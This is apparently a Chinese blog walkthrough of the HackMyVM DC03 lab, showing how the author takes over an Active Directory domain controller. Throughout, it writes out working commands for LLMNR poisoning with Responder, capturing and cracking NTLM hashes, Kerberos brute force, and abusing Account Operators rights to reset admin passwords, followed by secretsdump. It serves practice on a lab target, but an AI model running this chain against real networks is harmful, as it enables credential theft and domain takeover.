Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透

HackMyVm-DC03 ：中等 13.1 外网打点nmap -sS -p- -T4 192.168.215.185 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'卧槽什么都没有，这怎么打？nmap -sS -p 53,13487,65005 -T4 192.168.215.185 -A扫错了，哈哈哈哈，靶机重启，原来是我换wifi了再来nmap -sS -p- -T4 192.168.215.25 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49672,49685 -T4 192.168.215.25 -A根据上面的dc2靶场进行信息收集一波,ldap协议是开启着的，还有SMB协议enum4Linux-ng -A 192.168.215.25 -C13.2 尝试使用匿名登录SMB匿名连接13.3 kerberos 用户名枚举kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt --dc 192.168.215.25charlie administrator wreed11 webserver爆破SMBnxc SMB 192.168.215.25 -u user -p user13.4 爆破 kerberos 协议kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt wreed11 kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames.txt charlie三个用户接失败13.4 LLMNR 投毒攻击13.4.1 具体流程骗取目标设备的账号密码哈希，具体流程如下： 监听局域网内的 LLMNR 请求：用 Responder（你之前用过的工具）等软件，在攻击机上监听局域网内的 LLMNR 广播； 伪造响应欺骗目标：当目标设备（比如域内的员工电脑）发起 LLMNR 请求（如解析 \\共享打印机名）时，攻击机抢先回复：“我就是你要找的设备，我的 IP 是攻击机 IP”； 骗取哈希值：目标设备相信后，会试图用当前登录用户的 “NTLM 哈希” 与攻击机建立连接（比如访问共享文件夹），攻击机就能捕获到这个哈希； 破解哈希或直接用哈希登录：拿到哈希后，可通过 hashcat 破解成明文密码，或直接用 “哈希传递（PTH）” 登录其他设备。 13.4.2 如何用 LLMNR 拿到域内哈希比如你在域渗透中，攻击机和目标域内的员工电脑在同一个网段（192.168.215.0/24）： 在 Kali 上启动 Responder，开启 LLMNR 监听： 员工在电脑上误输入 \\不存在的共享名（比如 \\file-server），DNS 解析失败，触发 LLMNR 广播； Responder 捕获到这个请求，伪装成 file-server 回复员工电脑； 员工电脑用当前登录用户（比如 SOUPEDECODE\charlie）的 NTLM 哈希，尝试与攻击机建立 SMB 连接； Responder 成功捕获到 charlie 的哈希，你后续就可以用这个哈希进行 PTH 攻击，登录其他域内设备。 responder -I eth0 -wd这里应该是域控靶机的计划任务，所以能拿到hash拿到这个账号的hash，准备去爆破[SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd [SMB] NTLMv2-SSP Username : SOUPEDECODE\DC01$ [SMB] NTLMv2-SSP Hash : DC01$::SOUPEDECODE:b7c95f1435ed324f:38D48E36709F60B6B02218D61D394294:010100000000000000A791D28545DC0159ED6A549FAD342D0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009002C0063006900660073002F0053004F005500500045004400450043004F00440045002E004C004F00430041004C000000000000000000 --- [SMB] NTLMv2-SSP Client : 240a:42c2:802:3c85:e8b7:3202:ffea:f6fd [SMB] NTLMv2-SSP Username : soupedecode\xkate578 [SMB] NTLMv2-SSP Hash : xkate578::soupedecode:0215e15662d218c6:75CB92B3BD84CC2BA33FD7549A0D1EA4:010100000000000000A791D28545DC018EC3298268DA333B0000000002000800330037005300330001001E00570049004E002D005500350050004500330055004F00300044004600550004003400570049004E002D005500350050004500330055004F0030004400460055002E0033003700530033002E004C004F00430041004C000300140033003700530033002E004C004F00430041004C000500140033003700530033002E004C004F00430041004C000700080000A791D28545DC010600040002000000080030003000000000000000000000000040000033BE778EBDE22DAB53FA856B26B3A1EABC23AFB04656C990D86DF46D0504C4230A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C006500530065007200760065007200000000000000000013.5 smb渗透找到账号密码，查看smb服务器内有什么东西xkate578:jesuschrist smbclient -L //192.168.215.25/ -U xkate578登录到share共享文件夹，发现user.txt尝试上传，发现这个用户有上传文件的权限使用evil-winrm连接失败evil-winrm -i 192.168.215.25 -u xkate578 -p jesuschrist13.6 查询域内SPN关联用户查询寻域内所有关联了SPN的用户（用于发现这些用户的TGS票据，从而破解密码）13.7 枚举域内用户SIDxkate578这个用户有查看域内SID信息的权限python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/xkate578@192.168.215.25 > results.txt把这些用户名信息导出为一个用户字典grep "SidTypeUser" /data/demo/results.txt | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt13.8 爆破 kerberos针对域用户 xkate578 进行 “密码暴力破解” 的操作，核心目的是通过字典攻击尝试获取该用户的明文密码。ntpdate 192.168.215.25 kerbrute bruteuser --dc 192.168.215.25 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt xkate578 -v13.9 nxc爆破smb使用nxc内网渗透神器，使用相同的账号密码爆破smb服务器，全部失败13.10 获取不需要预认证用户的AS-REP哈希全部没有impacket-GetNPUsers -dc-ip 192.168.215.25 soupedecode.local/ -usersfile target_users.txt利用之前得到的密码 xkate578:jesuschristldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b 'DC=SOUPEDECODE,DC=LOCAL' "sAMAccountName=xkate578" memberOf > ldap_result.txt 参数 作用 -x 使用简单认证（非 SASL 认证），适合用用户名 / 密码登录。 -H ldap://192.168.215.25 指定 LDAP 服务器地址（这里是域控的 IP）。 -D "xkate578@SOUPEDECODE.LOCAL" 绑定的用户 DN（用户名），即使用 xkate578 的凭证登录 LDAP。 -w 'jesuschrist' 绑定用户的密码（xkate578 的密码）。 -b 'DC=SOUPEDECODE,DC=LOCAL' 查询的基准 DN（域的根目录），即从整个域范围查询。 "sAMAccountName=xkate578" 过滤条件：只查询 sAMAccountName 为 xkate578 的用户（精准定位自身）。 memberOf 只返回该用户的 memberOf 字段（即所属的组）。 > ldap_result.txt 将结果输出到文件，方便查看。 从结果中可以看到这个用户属于Account Operators 组作用： 创建 / 修改 / 删除普通域用户账号可在域内新增用户（如 testuser）、修改现有用户的属性（如密码、登录脚本、所属组等），但不能修改域管理员（Domain Admins）等高级账号。 管理用户组（非特权组）可创建新的普通用户组，或修改普通组的成员（如将 zximena448 加入某个组），但不能修改 Domain Admins、Enterprise Admins 等特权组。 重置普通用户密码可强制重置普通域用户的密码（无需知道原密码），例如将 zximena448 的密码改为 hacked123，进而控制该账号。 查看域内用户 / 组的详细信息比普通用户拥有更高的 LDAP 查询权限，可获取更多域内账号的属性（如密码过期时间、登录次数等）。 尝试利用net命令和这些凭证，向目标域添加一个用户，然后使用evil-winrm连接的时候，连接不上net rpc user add "it_support" "ItSupport@123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25 evil-winrm -i 192.168.215.25 -u it_support -p 'ItSupport@123'将用户添加到远程管理组即可使用evil-winrm连接net rpc group addmem "Remote Management Users" it_support -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.215.25 evil-winrm -i 192.168.215.25 -u it_support -p 'ItSupport@123'那么尝试添加管理员组呢？很明显，之前已经说过了，Account Operators组的用户，可创建新的普通用户组，或修改普通组的成员（如将 zximena448 加入某个组），但不能修改 Domain Admins、Enterprise Admins 等特权组。再看看管理员组有哪些用户，一个是Operators，一个是Administrator，两个用户属于超级管理员’ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "memberOf=CN=Domain Admins,CN=Users,DC=SOUPEDECODE,DC=LOCAL" sAMAccountName name从 LDAP 查询结果中，有几个关键线索表明 Operators 是自定义组而非 Windows 内置组：Windows 内置操作员组都有特定的前缀： Backup Operators Print Operators Server Operators Account Operators 而这里发现： 组名：Operators（没有前缀） 这不符合 Windows 内置组的命名规范 sAMAccountName 分析ldif# Operators, Users, SOUPEDECODE.LOCAL dn: CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL name: Operators sAMAccountName: Operators关键点： sAMAccountName: Operators（没有数字后缀） Windows 内置组通常有特定的 sAMAccountName 格式 例如内置的 Account Operators 的 sAMAccountName 是 Account Operators 另外# 内置组通常在 Builtin 容器中 dn: CN=Account Operators,CN=Builtin,DC=SOUPEDECODE,DC=LOCAL我们再来查看自定义组中有哪些用户ldapsearch -x -H ldap://192.168.215.25 -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "DC=SOUPEDECODE,DC=LOCAL" "(&(objectClass=user)(memberOf=CN=Operators,CN=Users,DC=SOUPEDECODE,DC=LOCAL))" sAMAccountName name# Account Operators 不能重置这些直接组成员的密码： - 直接属于 Administrators 的用户 - 直接属于 Domain Admins 的用户 # 但可以重置这些用户的密码： - 通过组嵌套获得管理员权限的用户 - 属于自定义管理组的用户再不清楚，就是这个链路Domain Admins (域管理员组) ↑ 包含 Operators (自定义管理组) ↑ 包含 fbeth103 (普通用户) xkate578 (Account Operators) → 可以重置 fbeth103 密码开始修改密码（回家重装了靶机，ip变了）net rpc user password "fbeth103" "P@ssw0rd123" -U "SOUPEDECODE.LOCAL/xkate578%jesuschrist" -S 192.168.0.102 # 或者 [root@Kali] /home/Kali/DC03 ❯ rpcclient -U "xkate578" --password="jesuschrist" 192.168.56.126 ⏎ rpcclient $> setuserinfo2 fbeth103 23 "Pass1234!" rpcclient $> # 然后连接 evil-winrm -i 192.168.0.102 -u fbeth103 -p 'P@ssw0rd123'此时就已经得到了最后的root.txt内容它这个自定义既然组隶属于管理员组，那我们是不是能利用这个fbeth103用户去修改管理员的账号密码呢？现在试试┌──(root㉿Kali)-[~] └─# net rpc user password "Administrator" "NewAdminPass123" -U "SOUPEDECODE.LOCAL/fbeth103%P@ssw0rd123" -S 192.168.0.102 ┌──(root㉿Kali)-[~] └─# evil-winrm -i 192.168.0.102 -u Administrator -p 'NewAdminPass123' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami soupedecode\administrator 成功修改！都不需要去PTH（哈希传递攻击）了13.11 PTH攻击（hash传递）Secretdump获取域内hashimpacket-secretsdump 'SOUPEDECODE.LOCAL/fbeth103:P@ssw0rd123'@192.168.0.10213.12 工具推荐 ldapdomaindump除了ldapsearch工具之外，还有一个工具也可以看域内组织情况，叫做ldapdomaindumpldapdomaindump -u "SOUPEDECODE.LOCAL\fbeth103" -p P@ssw0rd123 192.168.0.102在生成的domain_groups.html中也能看到Operators属于Domain Admins组从这里也能看到fbeth103属于Operators组用这个工具更为方便13.13 DC03 域渗透总结本次 DC03 域渗透从外网打点开始，先通过 nmap 扫描确定目标为域控制器，开启 53、88、139、445、389 等关键端口。匿名登录 SMB 失败后，用 kerbrute 枚举到 charlie、administrator 等用户，爆破无果后通过 Responder 进行 LLMNR 投毒，捕获到 xkate578 的 NTLM 哈希并破解出密码。利用 xkate578（属 Account Operators 组）的账号管理权限，先创建影子账号并加入远程管理组，成功登录后枚举域内用户，发现自定义组 Operators 隶属于 Domain Admins，且包含用户 fbeth103。重置 fbeth103 密码并登录，利用其间接域管理员权限，成功修改 Administrator 密码，获取域控最高权限，最终找到 root.txt，全程未依赖复杂漏洞，主要通过权限嵌套与凭据复用推进。往期推荐全网首发！HMV全套Windows机器提权，域渗透教程，2w字超详细HackMyVm-DC04 ：简单HackMyVm-DC03 ：简单HackMyVm-DC02 ：简单HackMyVm-DC01 ：简单HackMyVm-TriplAdvisor ：简单HackMyVm-Runas ：简单HackMyVm-Always ：简单HackMyVm-Nessus ：简单HackMyVm-Liar ：简单HackMyVm-Simple ：简单HackMyVm-Simple ：简单HackMyVm-Zero ：简单HackMyVm-OMG ：简单新版BurpSuite v2025.6.3汉化版，附激活教程Fine！2025最新款信息收集综合工具若依Vue漏洞检测工具v7更新最好用的下一代目录爆破工具，全方位的目录爆破集成MemProcFS，Vol2和Vol3的内存取证神器重大更新！FeatherScan v4.5 内网 Linux 信息收集，提权一键梭哈神器x-WAF，一个基于fuzz的WAF绕过渗透工具这10款内网穿透工具，一定有你没用过的红队命令速查手册挖SRC必须知道的25个漏洞提交平台挖SRC必须知道的25个漏洞提交平台FeatherScan v4.0 - 一款Linux内网全自动信息收集工具掩日-适用于红队的综合免杀工具2025最新渗透测试靶场推荐近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等【内网渗透】隐藏通信隧道技术内网渗透必备，microsocks，一个轻量级的socks代理工具神器分享 红队快速打点工具-DarKnuclei红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！一个永久的渗透知识库【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，Git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透